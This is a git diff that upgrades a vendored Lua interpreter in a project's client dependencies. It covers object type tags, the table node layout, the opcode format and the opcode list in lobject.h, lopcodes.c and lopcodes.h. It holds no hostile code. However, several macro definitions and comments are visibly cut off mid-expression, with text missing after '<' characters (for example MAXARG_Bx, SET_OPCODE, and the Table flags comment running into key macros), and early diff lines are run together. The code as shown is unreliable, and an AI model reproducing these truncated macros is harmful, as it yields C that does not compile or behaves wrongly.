/* information about source lines (debug information) */ + AbsLineInfo *abslineinfo; /* idem */ + LocVar *locvars; /* information about local variables (debug information) */ + TString *source; /* used for debug information */ GCObject *gclist; - lu_byte numparams; /* number of fixed parameters */ - lu_byte is_vararg; - lu_byte maxstacksize; /* maximum stack used by this function */ } Proto; +/* }================================================================== */ /* -** Lua Upvalues +** {================================================================== +** Functions +** =================================================================== +*/ + +#define LUA_VUPVAL makevariant(LUA_TUPVAL, 0) + + +/* Variant tags for functions */ +#define LUA_VLCL makevariant(LUA_TFUNCTION, 0) /* Lua closure */ +#define LUA_VLCF makevariant(LUA_TFUNCTION, 1) /* light C function */ +#define LUA_VCCL makevariant(LUA_TFUNCTION, 2) /* C closure */ + +#define ttisfunction(o) checktype(o, LUA_TFUNCTION) +#define ttisLclosure(o) checktag((o), ctb(LUA_VLCL)) +#define ttislcf(o) checktag((o), LUA_VLCF) +#define ttisCclosure(o) checktag((o), ctb(LUA_VCCL)) +#define ttisclosure(o) (ttisLclosure(o) || ttisCclosure(o)) + + +#define isLfunction(o) ttisLclosure(o) + +#define clvalue(o) check_exp(ttisclosure(o), gco2cl(val_(o).gc)) +#define clLvalue(o) check_exp(ttisLclosure(o), gco2lcl(val_(o).gc)) +#define fvalue(o) check_exp(ttislcf(o), val_(o).f) +#define clCvalue(o) check_exp(ttisCclosure(o), gco2ccl(val_(o).gc)) + +#define fvalueraw(v) ((v).f) + +#define setclLvalue(L,obj,x) \ + { TValue *io = (obj); LClosure *x_ = (x); \ + val_(io).gc = obj2gco(x_); settt_(io, ctb(LUA_VLCL)); \ + checkliveness(L,io); } + +#define setclLvalue2s(L,o,cl) setclLvalue(L,s2v(o),cl) + +#define setfvalue(obj,x) \ + { TValue *io=(obj); val_(io).f=(x); settt_(io, LUA_VLCF); } + +#define setclCvalue(L,obj,x) \ + { TValue *io = (obj); CClosure *x_ = (x); \ + val_(io).gc = obj2gco(x_); settt_(io, ctb(LUA_VCCL)); \ + checkliveness(L,io); } + + +/* +** Upvalues for Lua closures */ typedef struct UpVal { CommonHeader; - TValue *v; /* points to stack or to its own value */ union { + TValue *p; /* points to stack or to its own value */ + ptrdiff_t offset; /* used while the stack is being reallocated */ + } v; + union { + struct { /* (when open) */ + struct UpVal *next; /* linked list */ + struct UpVal **previous; + } open; TValue value; /* the value (when closed) */ - struct { /* double linked list (when open) */ - struct UpVal *prev; - struct UpVal *next; - } l; } u; } UpVal; -/* -** Closures -*/ #define ClosureHeader \ - CommonHeader; lu_byte nupvalues; GCObject *gclist + CommonHeader; lu_byte nupvalues; GCObject *gclist typedef struct CClosure { ClosureHeader; @@ -533,35 +664,81 @@ typedef union Closure { } Closure; -#define isLfunction(o) ttisLclosure(o) +#define getproto(o) (clLvalue(o)->p) -#define getproto(o) (clLvalue(o)->p) +/* }================================================================== */ /* +** {================================================================== ** Tables +** =================================================================== */ -typedef union TKey { - struct { - TValuefields; - struct Node *next; /* for chaining */ - } nk; - TValue tvk; -} TKey; +#define LUA_VTABLE makevariant(LUA_TTABLE, 0) + +#define ttistable(o) checktag((o), ctb(LUA_VTABLE)) + +#define hvalue(o) check_exp(ttistable(o), gco2t(val_(o).gc)) + +#define sethvalue(L,obj,x) \ + { TValue *io = (obj); Table *x_ = (x); \ + val_(io).gc = obj2gco(x_); settt_(io, ctb(LUA_VTABLE)); \ + checkliveness(L,io); } + +#define sethvalue2s(L,o,h) sethvalue(L,s2v(o),h) -typedef struct Node { - TValue i_val; - TKey i_key; +/* +** Nodes for Hash tables: A pack of two TValue's (key-value pairs) +** plus a 'next' field to link colliding entries. The distribution +** of the key's fields ('key_tt' and 'key_val') not forming a proper +** 'TValue' allows for a smaller size for 'Node' both in 4-byte +** and 8-byte alignments. +*/ +typedef union Node { + struct NodeKey { + TValuefields; /* fields for value */ + lu_byte key_tt; /* key type */ + int next; /* for chaining */ + Value key_val; /* key value */ + } u; + TValue i_val; /* direct access to node's value as a proper 'TValue' */ } Node; +/* copy a value into a key */ +#define setnodekey(L,node,obj) \ + { Node *n_=(node); const TValue *io_=(obj); \ + n_->u.key_val = io_->value_; n_->u.key_tt = io_->tt_; \ + checkliveness(L,io_); } + + +/* copy a value from a key */ +#define getnodekey(L,obj,node) \ + { TValue *io_=(obj); const Node *n_=(node); \ + io_->value_ = n_->u.key_val; io_->tt_ = n_->u.key_tt; \ + checkliveness(L,io_); } + + +/* +** About 'alimit': if 'isrealasize(t)' is true, then 'alimit' is the +** real size of 'array'. Otherwise, the real size of 'array' is the +** smallest power of two not smaller than 'alimit' (or zero iff 'alimit' +** is zero); 'alimit' is then used as a hint for #t. +*/ + +#define BITRAS (1 << 7) +#define isrealasize(t) (!((t)->flags & BITRAS)) +#define setrealasize(t) ((t)->flags &= cast_byte(~BITRAS)) +#define setnorealasize(t) ((t)->flags |= BITRAS) + + typedef struct Table { CommonHeader; lu_byte flags; /* 1<

u.key_tt) +#define keyval(node) ((node)->u.key_val) + +#define keyisnil(node) (keytt(node) == LUA_TNIL) +#define keyisinteger(node) (keytt(node) == LUA_VNUMINT) +#define keyival(node) (keyval(node).i) +#define keyisshrstr(node) (keytt(node) == ctb(LUA_VSHRSTR)) +#define keystrval(node) (gco2ts(keyval(node).gc)) + +#define setnilkey(node) (keytt(node) = LUA_TNIL) + +#define keyiscollectable(n) (keytt(n) & BIT_ISCOLLECTABLE) + +#define gckey(n) (keyval(n).gc) +#define gckeyN(n) (keyiscollectable(n) ? gckey(n) : NULL) + /* -** `module' operation for hashing (size is always a power of 2) +** Dead keys in tables have the tag DEADKEY but keep their original +** gcvalue. This distinguishes them from regular keys but allows them to +** be found when searched in a special way. ('next' needs that to find +** keys removed from a table during a traversal.) +*/ +#define setdeadkey(node) (keytt(node) = LUA_TDEADKEY) +#define keyisdead(node) (keytt(node) == LUA_TDEADKEY) + +/* }================================================================== */ + + + +/* +** 'module' operation for hashing (size is always a power of 2) */ #define lmod(s,size) \ - (check_exp((size&(size-1))==0, (cast(int, (s) & ((size)-1))))) + (check_exp((size&(size-1))==0, (cast_int((s) & ((size)-1))))) -#define twoto(x) (1<<(x)) -#define sizenode(t) (twoto((t)->lsizenode)) +#define twoto(x) (1<<(x)) +#define sizenode(t) (twoto((t)->lsizenode)) -/* -** (address of) a fixed nil value -*/ -#define luaO_nilobject (&luaO_nilobject_) +/* size of buffer for 'luaO_utf8esc' function */ +#define UTF8BUFFSZ 8 - -LUAI_DDEC const TValue luaO_nilobject_; - - -LUAI_FUNC int luaO_int2fb(unsigned int x); -LUAI_FUNC int luaO_fb2int(int x); +LUAI_FUNC int luaO_utf8esc(char *buff, unsigned long x); LUAI_FUNC int luaO_ceillog2(unsigned int x); -LUAI_FUNC lua_Number luaO_arith(int op, lua_Number v1, lua_Number v2); -LUAI_FUNC int luaO_str2d(const char *s, size_t len, lua_Number *result); +LUAI_FUNC int luaO_rawarith(lua_State *L, int op, const TValue *p1, + const TValue *p2, TValue *res); +LUAI_FUNC void luaO_arith(lua_State *L, int op, const TValue *p1, + const TValue *p2, StkId res); +LUAI_FUNC size_t luaO_str2num(const char *s, TValue *o); LUAI_FUNC int luaO_hexavalue(int c); +LUAI_FUNC void luaO_tostring(lua_State *L, TValue *obj); LUAI_FUNC const char *luaO_pushvfstring(lua_State *L, const char *fmt, va_list argp); LUAI_FUNC const char *luaO_pushfstring(lua_State *L, const char *fmt, ...); -LUAI_FUNC void luaO_chunkid(char *out, const char *source, size_t len); +LUAI_FUNC void luaO_chunkid(char *out, const char *source, size_t srclen); #endif diff --git a/client/deps/liblua/lopcodes.c b/client/deps/liblua/lopcodes.c index 24b0af564..092e32a0d 100644 --- a/client/deps/liblua/lopcodes.c +++ b/client/deps/liblua/lopcodes.c @@ -1,107 +1,104 @@ /* -** $Id: lopcodes.c,v 1.49 2012/05/14 13:34:18 roberto Exp $ +** $Id: lopcodes.c $ ** Opcodes for Lua virtual machine ** See Copyright Notice in lua.h */ - #define lopcodes_c #define LUA_CORE +#include "lprefix.h" + #include "lopcodes.h" /* ORDER OP */ -LUAI_DDEF const char *const luaP_opnames[NUM_OPCODES + 1] = { - "MOVE", - "LOADK", - "LOADKX", - "LOADBOOL", - "LOADNIL", - "GETUPVAL", - "GETTABUP", - "GETTABLE", - "SETTABUP", - "SETUPVAL", - "SETTABLE", - "NEWTABLE", - "SELF", - "ADD", - "SUB", - "MUL", - "DIV", - "MOD", - "POW", - "UNM", - "NOT", - "LEN", - "CONCAT", - "JMP", - "EQ", - "LT", - "LE", - "TEST", - "TESTSET", - "CALL", - "TAILCALL", - "RETURN", - "FORLOOP", - "FORPREP", - "TFORCALL", - "TFORLOOP", - "SETLIST", - "CLOSURE", - "VARARG", - "EXTRAARG", - NULL -}; - - -#define opmode(t,a,b,c,m) (((t)<<7) | ((a)<<6) | ((b)<<4) | ((c)<<2) | (m)) - LUAI_DDEF const lu_byte luaP_opmodes[NUM_OPCODES] = { - /* T A B C mode opcode */ - opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_MOVE */ - , opmode(0, 1, OpArgK, OpArgN, iABx) /* OP_LOADK */ - , opmode(0, 1, OpArgN, OpArgN, iABx) /* OP_LOADKX */ - , opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_LOADBOOL */ - , opmode(0, 1, OpArgU, OpArgN, iABC) /* OP_LOADNIL */ - , opmode(0, 1, OpArgU, OpArgN, iABC) /* OP_GETUPVAL */ - , opmode(0, 1, OpArgU, OpArgK, iABC) /* OP_GETTABUP */ - , opmode(0, 1, OpArgR, OpArgK, iABC) /* OP_GETTABLE */ - , opmode(0, 0, OpArgK, OpArgK, iABC) /* OP_SETTABUP */ - , opmode(0, 0, OpArgU, OpArgN, iABC) /* OP_SETUPVAL */ - , opmode(0, 0, OpArgK, OpArgK, iABC) /* OP_SETTABLE */ - , opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_NEWTABLE */ - , opmode(0, 1, OpArgR, OpArgK, iABC) /* OP_SELF */ - , opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_ADD */ - , opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_SUB */ - , opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_MUL */ - , opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_DIV */ - , opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_MOD */ - , opmode(0, 1, OpArgK, OpArgK, iABC) /* OP_POW */ - , opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_UNM */ - , opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_NOT */ - , opmode(0, 1, OpArgR, OpArgN, iABC) /* OP_LEN */ - , opmode(0, 1, OpArgR, OpArgR, iABC) /* OP_CONCAT */ - , opmode(0, 0, OpArgR, OpArgN, iAsBx) /* OP_JMP */ - , opmode(1, 0, OpArgK, OpArgK, iABC) /* OP_EQ */ - , opmode(1, 0, OpArgK, OpArgK, iABC) /* OP_LT */ - , opmode(1, 0, OpArgK, OpArgK, iABC) /* OP_LE */ - , opmode(1, 0, OpArgN, OpArgU, iABC) /* OP_TEST */ - , opmode(1, 1, OpArgR, OpArgU, iABC) /* OP_TESTSET */ - , opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_CALL */ - , opmode(0, 1, OpArgU, OpArgU, iABC) /* OP_TAILCALL */ - , opmode(0, 0, OpArgU, OpArgN, iABC) /* OP_RETURN */ - , opmode(0, 1, OpArgR, OpArgN, iAsBx) /* OP_FORLOOP */ - , opmode(0, 1, OpArgR, OpArgN, iAsBx) /* OP_FORPREP */ - , opmode(0, 0, OpArgN, OpArgU, iABC) /* OP_TFORCALL */ - , opmode(0, 1, OpArgR, OpArgN, iAsBx) /* OP_TFORLOOP */ - , opmode(0, 0, OpArgU, OpArgU, iABC) /* OP_SETLIST */ - , opmode(0, 1, OpArgU, OpArgN, iABx) /* OP_CLOSURE */ - , opmode(0, 1, OpArgU, OpArgN, iABC) /* OP_VARARG */ - , opmode(0, 0, OpArgU, OpArgU, iAx) /* OP_EXTRAARG */ + /* MM OT IT T A mode opcode */ + opmode(0, 0, 0, 0, 1, iABC) /* OP_MOVE */ + , opmode(0, 0, 0, 0, 1, iAsBx) /* OP_LOADI */ + , opmode(0, 0, 0, 0, 1, iAsBx) /* OP_LOADF */ + , opmode(0, 0, 0, 0, 1, iABx) /* OP_LOADK */ + , opmode(0, 0, 0, 0, 1, iABx) /* OP_LOADKX */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_LOADFALSE */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_LFALSESKIP */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_LOADTRUE */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_LOADNIL */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_GETUPVAL */ + , opmode(0, 0, 0, 0, 0, iABC) /* OP_SETUPVAL */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_GETTABUP */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_GETTABLE */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_GETI */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_GETFIELD */ + , opmode(0, 0, 0, 0, 0, iABC) /* OP_SETTABUP */ + , opmode(0, 0, 0, 0, 0, iABC) /* OP_SETTABLE */ + , opmode(0, 0, 0, 0, 0, iABC) /* OP_SETI */ + , opmode(0, 0, 0, 0, 0, iABC) /* OP_SETFIELD */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_NEWTABLE */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_SELF */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_ADDI */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_ADDK */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_SUBK */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_MULK */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_MODK */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_POWK */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_DIVK */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_IDIVK */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_BANDK */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_BORK */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_BXORK */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_SHRI */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_SHLI */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_ADD */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_SUB */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_MUL */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_MOD */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_POW */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_DIV */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_IDIV */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_BAND */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_BOR */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_BXOR */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_SHL */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_SHR */ + , opmode(1, 0, 0, 0, 0, iABC) /* OP_MMBIN */ + , opmode(1, 0, 0, 0, 0, iABC) /* OP_MMBINI*/ + , opmode(1, 0, 0, 0, 0, iABC) /* OP_MMBINK*/ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_UNM */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_BNOT */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_NOT */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_LEN */ + , opmode(0, 0, 0, 0, 1, iABC) /* OP_CONCAT */ + , opmode(0, 0, 0, 0, 0, iABC) /* OP_CLOSE */ + , opmode(0, 0, 0, 0, 0, iABC) /* OP_TBC */ + , opmode(0, 0, 0, 0, 0, isJ) /* OP_JMP */ + , opmode(0, 0, 0, 1, 0, iABC) /* OP_EQ */ + , opmode(0, 0, 0, 1, 0, iABC) /* OP_LT */ + , opmode(0, 0, 0, 1, 0, iABC) /* OP_LE */ + , opmode(0, 0, 0, 1, 0, iABC) /* OP_EQK */ + , opmode(0, 0, 0, 1, 0, iABC) /* OP_EQI */ + , opmode(0, 0, 0, 1, 0, iABC) /* OP_LTI */ + , opmode(0, 0, 0, 1, 0, iABC) /* OP_LEI */ + , opmode(0, 0, 0, 1, 0, iABC) /* OP_GTI */ + , opmode(0, 0, 0, 1, 0, iABC) /* OP_GEI */ + , opmode(0, 0, 0, 1, 0, iABC) /* OP_TEST */ + , opmode(0, 0, 0, 1, 1, iABC) /* OP_TESTSET */ + , opmode(0, 1, 1, 0, 1, iABC) /* OP_CALL */ + , opmode(0, 1, 1, 0, 1, iABC) /* OP_TAILCALL */ + , opmode(0, 0, 1, 0, 0, iABC) /* OP_RETURN */ + , opmode(0, 0, 0, 0, 0, iABC) /* OP_RETURN0 */ + , opmode(0, 0, 0, 0, 0, iABC) /* OP_RETURN1 */ + , opmode(0, 0, 0, 0, 1, iABx) /* OP_FORLOOP */ + , opmode(0, 0, 0, 0, 1, iABx) /* OP_FORPREP */ + , opmode(0, 0, 0, 0, 0, iABx) /* OP_TFORPREP */ + , opmode(0, 0, 0, 0, 0, iABC) /* OP_TFORCALL */ + , opmode(0, 0, 0, 0, 1, iABx) /* OP_TFORLOOP */ + , opmode(0, 0, 1, 0, 0, iABC) /* OP_SETLIST */ + , opmode(0, 0, 0, 0, 1, iABx) /* OP_CLOSURE */ + , opmode(0, 1, 0, 0, 1, iABC) /* OP_VARARG */ + , opmode(0, 0, 1, 0, 1, iABC) /* OP_VARARGPREP */ + , opmode(0, 0, 0, 0, 0, iAx) /* OP_EXTRAARG */ }; diff --git a/client/deps/liblua/lopcodes.h b/client/deps/liblua/lopcodes.h index 00277142d..1f04ac251 100644 --- a/client/deps/liblua/lopcodes.h +++ b/client/deps/liblua/lopcodes.h @@ -1,5 +1,5 @@ /* -** $Id: lopcodes.h,v 1.142.1.1 2013/04/12 18:48:47 roberto Exp roberto $ +** $Id: lopcodes.h $ ** Opcodes for Lua virtual machine ** See Copyright Notice in lua.h */ @@ -11,278 +11,395 @@ /*=========================================================================== - We assume that instructions are unsigned numbers. - All instructions have an opcode in the first 6 bits. - Instructions can have the following fields: - `A' : 8 bits - `B' : 9 bits - `C' : 9 bits - 'Ax' : 26 bits ('A', 'B', and 'C' together) - `Bx' : 18 bits (`B' and `C' together) - `sBx' : signed Bx + We assume that instructions are unsigned 32-bit integers. + All instructions have an opcode in the first 7 bits. + Instructions can have the following formats: - A signed argument is represented in excess K; that is, the number - value is the unsigned value minus K. K is exactly the maximum value - for that argument (so that -max is represented by 0, and +max is - represented by 2*max), which is half the maximum for the corresponding - unsigned argument. + 3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 + 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 +iABC C(8) | B(8) |k| A(8) | Op(7) | +iABx Bx(17) | A(8) | Op(7) | +iAsBx sBx (signed)(17) | A(8) | Op(7) | +iAx Ax(25) | Op(7) | +isJ sJ (signed)(25) | Op(7) | + + A signed argument is represented in excess K: the represented value is + the written unsigned value minus K, where K is half the maximum for the + corresponding unsigned argument. ===========================================================================*/ -enum OpMode {iABC, iABx, iAsBx, iAx}; /* basic instruction format */ +enum OpMode {iABC, iABx, iAsBx, iAx, isJ}; /* basic instruction formats */ /* ** size and position of opcode arguments. */ -#define SIZE_C 9 -#define SIZE_B 9 -#define SIZE_Bx (SIZE_C + SIZE_B) -#define SIZE_A 8 -#define SIZE_Ax (SIZE_C + SIZE_B + SIZE_A) +#define SIZE_C 8 +#define SIZE_B 8 +#define SIZE_Bx (SIZE_C + SIZE_B + 1) +#define SIZE_A 8 +#define SIZE_Ax (SIZE_Bx + SIZE_A) +#define SIZE_sJ (SIZE_Bx + SIZE_A) -#define SIZE_OP 6 +#define SIZE_OP 7 -#define POS_OP 0 -#define POS_A (POS_OP + SIZE_OP) -#define POS_C (POS_A + SIZE_A) -#define POS_B (POS_C + SIZE_C) -#define POS_Bx POS_C -#define POS_Ax POS_A +#define POS_OP 0 + +#define POS_A (POS_OP + SIZE_OP) +#define POS_k (POS_A + SIZE_A) +#define POS_B (POS_k + 1) +#define POS_C (POS_B + SIZE_B) + +#define POS_Bx POS_k + +#define POS_Ax POS_A + +#define POS_sJ POS_A /* ** limits for opcode arguments. -** we use (signed) int to manipulate most arguments, -** so they must fit in LUAI_BITSINT-1 bits (-1 for sign) +** we use (signed) 'int' to manipulate most arguments, +** so they must fit in ints. */ -#if SIZE_Bx < LUAI_BITSINT-1 -#define MAXARG_Bx ((1<>1) /* `sBx' is signed */ + +/* Check whether type 'int' has at least 'b' bits ('b' < 32) */ +#define L_INTHASBITS(b) ((UINT_MAX >> ((b) - 1)) >= 1) + + +#if L_INTHASBITS(SIZE_Bx) +#define MAXARG_Bx ((1<>1) /* 'sBx' is signed */ + + +#if L_INTHASBITS(SIZE_Ax) +#define MAXARG_Ax ((1<> 1) -/* creates a mask with `n' 1 bits at position `p' */ -#define MASK1(n,p) ((~((~(Instruction)0)<<(n)))<<(p)) +#define MAXARG_A ((1<> 1) -/* creates a mask with `n' 0 bits at position `p' */ -#define MASK0(n,p) (~MASK1(n,p)) +#define int2sC(i) ((i) + OFFSET_sC) +#define sC2int(i) ((i) - OFFSET_sC) + + +/* creates a mask with 'n' 1 bits at position 'p' */ +#define MASK1(n,p) ((~((~(Instruction)0)<<(n)))<<(p)) + +/* creates a mask with 'n' 0 bits at position 'p' */ +#define MASK0(n,p) (~MASK1(n,p)) /* ** the following macros help to manipulate instructions */ -#define GET_OPCODE(i) (cast(OpCode, ((i)>>POS_OP) & MASK1(SIZE_OP,0))) -#define SET_OPCODE(i,o) ((i) = (((i)&MASK0(SIZE_OP,POS_OP)) | \ - ((cast(Instruction, o)<>POS_OP) & MASK1(SIZE_OP,0))) +#define SET_OPCODE(i,o) ((i) = (((i)&MASK0(SIZE_OP,POS_OP)) | \ + ((cast(Instruction, o)<>pos) & MASK1(size,0))) -#define setarg(i,v,pos,size) ((i) = (((i)&MASK0(size,pos)) | \ - ((cast(Instruction, v)<>(pos)) & MASK1(size,0))) +#define setarg(i,v,pos,size) ((i) = (((i)&MASK0(size,pos)) | \ + ((cast(Instruction, v)<= R(A) - 1 */ - OP_EQ,/* A B C if ((RK(B) == RK(C)) ~= A) then pc++ */ - OP_LT,/* A B C if ((RK(B) < RK(C)) ~= A) then pc++ */ - OP_LE,/* A B C if ((RK(B) <= RK(C)) ~= A) then pc++ */ + OP_BANDK,/* A B C R[A] := R[B] & K[C]:integer */ + OP_BORK,/* A B C R[A] := R[B] | K[C]:integer */ + OP_BXORK,/* A B C R[A] := R[B] ~ K[C]:integer */ - OP_TEST,/* A C if not (R(A) <=> C) then pc++ */ - OP_TESTSET,/* A B C if (R(B) <=> C) then R(A) := R(B) else pc++ */ + OP_SHRI,/* A B sC R[A] := R[B] >> sC */ + OP_SHLI,/* A B sC R[A] := sC << R[B] */ - OP_CALL,/* A B C R(A), ... ,R(A+C-2) := R(A)(R(A+1), ... ,R(A+B-1)) */ - OP_TAILCALL,/* A B C return R(A)(R(A+1), ... ,R(A+B-1)) */ - OP_RETURN,/* A B return R(A), ... ,R(A+B-2) (see note) */ + OP_ADD,/* A B C R[A] := R[B] + R[C] */ + OP_SUB,/* A B C R[A] := R[B] - R[C] */ + OP_MUL,/* A B C R[A] := R[B] * R[C] */ + OP_MOD,/* A B C R[A] := R[B] % R[C] */ + OP_POW,/* A B C R[A] := R[B] ^ R[C] */ + OP_DIV,/* A B C R[A] := R[B] / R[C] */ + OP_IDIV,/* A B C R[A] := R[B] // R[C] */ - OP_FORLOOP,/* A sBx R(A)+=R(A+2); - if R(A) > R[C] */ - OP_TFORCALL,/* A C R(A+3), ... ,R(A+2+C) := R(A)(R(A+1), R(A+2)); */ - OP_TFORLOOP,/* A sBx if R(A+1) ~= nil then { R(A)=R(A+1); pc += sBx }*/ + OP_MMBIN,/* A B C call C metamethod over R[A] and R[B] (*) */ + OP_MMBINI,/* A sB C k call C metamethod over R[A] and sB */ + OP_MMBINK,/* A B C k call C metamethod over R[A] and K[B] */ - OP_SETLIST,/* A B C R(A)[(C-1)*FPF+i] := R(A+i), 1 <= i <= B */ + OP_UNM,/* A B R[A] := -R[B] */ + OP_BNOT,/* A B R[A] := ~R[B] */ + OP_NOT,/* A B R[A] := not R[B] */ + OP_LEN,/* A B R[A] := #R[B] (length operator) */ - OP_CLOSURE,/* A Bx R(A) := closure(KPROTO[Bx]) */ + OP_CONCAT,/* A B R[A] := R[A].. ... ..R[A + B - 1] */ - OP_VARARG,/* A B R(A), R(A+1), ..., R(A+B-2) = vararg */ + OP_CLOSE,/* A close all upvalues >= R[A] */ + OP_TBC,/* A mark variable A "to be closed" */ + OP_JMP,/* sJ pc += sJ */ + OP_EQ,/* A B k if ((R[A] == R[B]) ~= k) then pc++ */ + OP_LT,/* A B k if ((R[A] < R[B]) ~= k) then pc++ */ + OP_LE,/* A B k if ((R[A] <= R[B]) ~= k) then pc++ */ - OP_EXTRAARG/* Ax extra (larger) argument for previous opcode */ + OP_EQK,/* A B k if ((R[A] == K[B]) ~= k) then pc++ */ + OP_EQI,/* A sB k if ((R[A] == sB) ~= k) then pc++ */ + OP_LTI,/* A sB k if ((R[A] < sB) ~= k) then pc++ */ + OP_LEI,/* A sB k if ((R[A] <= sB) ~= k) then pc++ */ + OP_GTI,/* A sB k if ((R[A] > sB) ~= k) then pc++ */ + OP_GEI,/* A sB k if ((R[A] >= sB) ~= k) then pc++ */ + + OP_TEST,/* A k if (not R[A] == k) then pc++ */ + OP_TESTSET,/* A B k if (not R[B] == k) then pc++ else R[A] := R[B] (*) */ + + OP_CALL,/* A B C R[A], ... ,R[A+C-2] := R[A](R[A+1], ... ,R[A+B-1]) */ + OP_TAILCALL,/* A B C k return R[A](R[A+1], ... ,R[A+B-1]) */ + + OP_RETURN,/* A B C k return R[A], ... ,R[A+B-2] (see note) */ + OP_RETURN0,/* return */ + OP_RETURN1,/* A return R[A] */ + + OP_FORLOOP,/* A Bx update counters; if loop continues then pc-=Bx; */ + OP_FORPREP,/* A Bx ; + if not to run then pc+=Bx+1; */ + + OP_TFORPREP,/* A Bx create upvalue for R[A + 3]; pc+=Bx */ + OP_TFORCALL,/* A C R[A+4], ... ,R[A+3+C] := R[A](R[A+1], R[A+2]); */ + OP_TFORLOOP,/* A Bx if R[A+2] ~= nil then { R[A]=R[A+2]; pc -= Bx } */ + + OP_SETLIST,/* A B C k R[A][C+i] := R[A+i], 1 <= i <= B */ + + OP_CLOSURE,/* A Bx R[A] := closure(KPROTO[Bx]) */ + + OP_VARARG,/* A C R[A], R[A+1], ..., R[A+C-2] = vararg */ + + OP_VARARGPREP,/*A (adjust vararg parameters) */ + + OP_EXTRAARG/* Ax extra (larger) argument for previous opcode */ } OpCode; -#define NUM_OPCODES (cast(int, OP_EXTRAARG) + 1) +#define NUM_OPCODES ((int)(OP_EXTRAARG) + 1) /*=========================================================================== Notes: - (*) In OP_CALL, if (B == 0) then B = top. If (C == 0), then `top' is - set to last_result+1, so next open instruction (OP_CALL, OP_RETURN, - OP_SETLIST) may use `top'. - (*) In OP_VARARG, if (B == 0) then use actual number of varargs and + (*) Opcode OP_LFALSESKIP is used to convert a condition to a boolean + value, in a code equivalent to (not cond ? false : true). (It + produces false and skips the next instruction producing true.) + + (*) Opcodes OP_MMBIN and variants follow each arithmetic and + bitwise opcode. If the operation succeeds, it skips this next + opcode. Otherwise, this opcode calls the corresponding metamethod. + + (*) Opcode OP_TESTSET is used in short-circuit expressions that need + both to jump and to produce a value, such as (a = b or c). + + (*) In OP_CALL, if (B == 0) then B = top - A. If (C == 0), then + 'top' is set to last_result+1, so next open instruction (OP_CALL, + OP_RETURN*, OP_SETLIST) may use 'top'. + + (*) In OP_VARARG, if (C == 0) then use actual number of varargs and set top (like in OP_CALL with C == 0). - (*) In OP_RETURN, if (B == 0) then return up to `top'. + (*) In OP_RETURN, if (B == 0) then return up to 'top'. - (*) In OP_SETLIST, if (B == 0) then B = `top'; if (C == 0) then next - 'instruction' is EXTRAARG(real C). + (*) In OP_LOADKX and OP_NEWTABLE, the next instruction is always + OP_EXTRAARG. - (*) In OP_LOADKX, the next 'instruction' is always EXTRAARG. + (*) In OP_SETLIST, if (B == 0) then real B = 'top'; if k, then + real C = EXTRAARG _ C (the bits of EXTRAARG concatenated with the + bits of C). - (*) For comparisons, A specifies what condition the test should accept + (*) In OP_NEWTABLE, B is log2 of the hash size (which is always a + power of 2) plus 1, or zero for size zero. If not k, the array size + is C. Otherwise, the array size is EXTRAARG _ C. + + (*) For comparisons, k specifies what condition the test should accept (true or false). - (*) All `skips' (pc++) assume that next instruction is a jump. + (*) In OP_MMBINI/OP_MMBINK, k means the arguments were flipped + (the constant is the first operand). + + (*) All 'skips' (pc++) assume that next instruction is a jump. + + (*) In instructions OP_RETURN/OP_TAILCALL, 'k' specifies that the + function builds upvalues, which may need to be closed. C > 0 means + the function is vararg, so that its 'func' must be corrected before + returning; in this case, (C - 1) is its number of fixed parameters. + + (*) In comparisons with an immediate operand, C signals whether the + original operand was a float. (It must be corrected in case of + metamethods.) ===========================================================================*/ /* ** masks for instruction properties. The format is: -** bits 0-1: op mode -** bits 2-3: C arg mode -** bits 4-5: B arg mode -** bit 6: instruction set register A -** bit 7: operator is a test (next instruction must be a 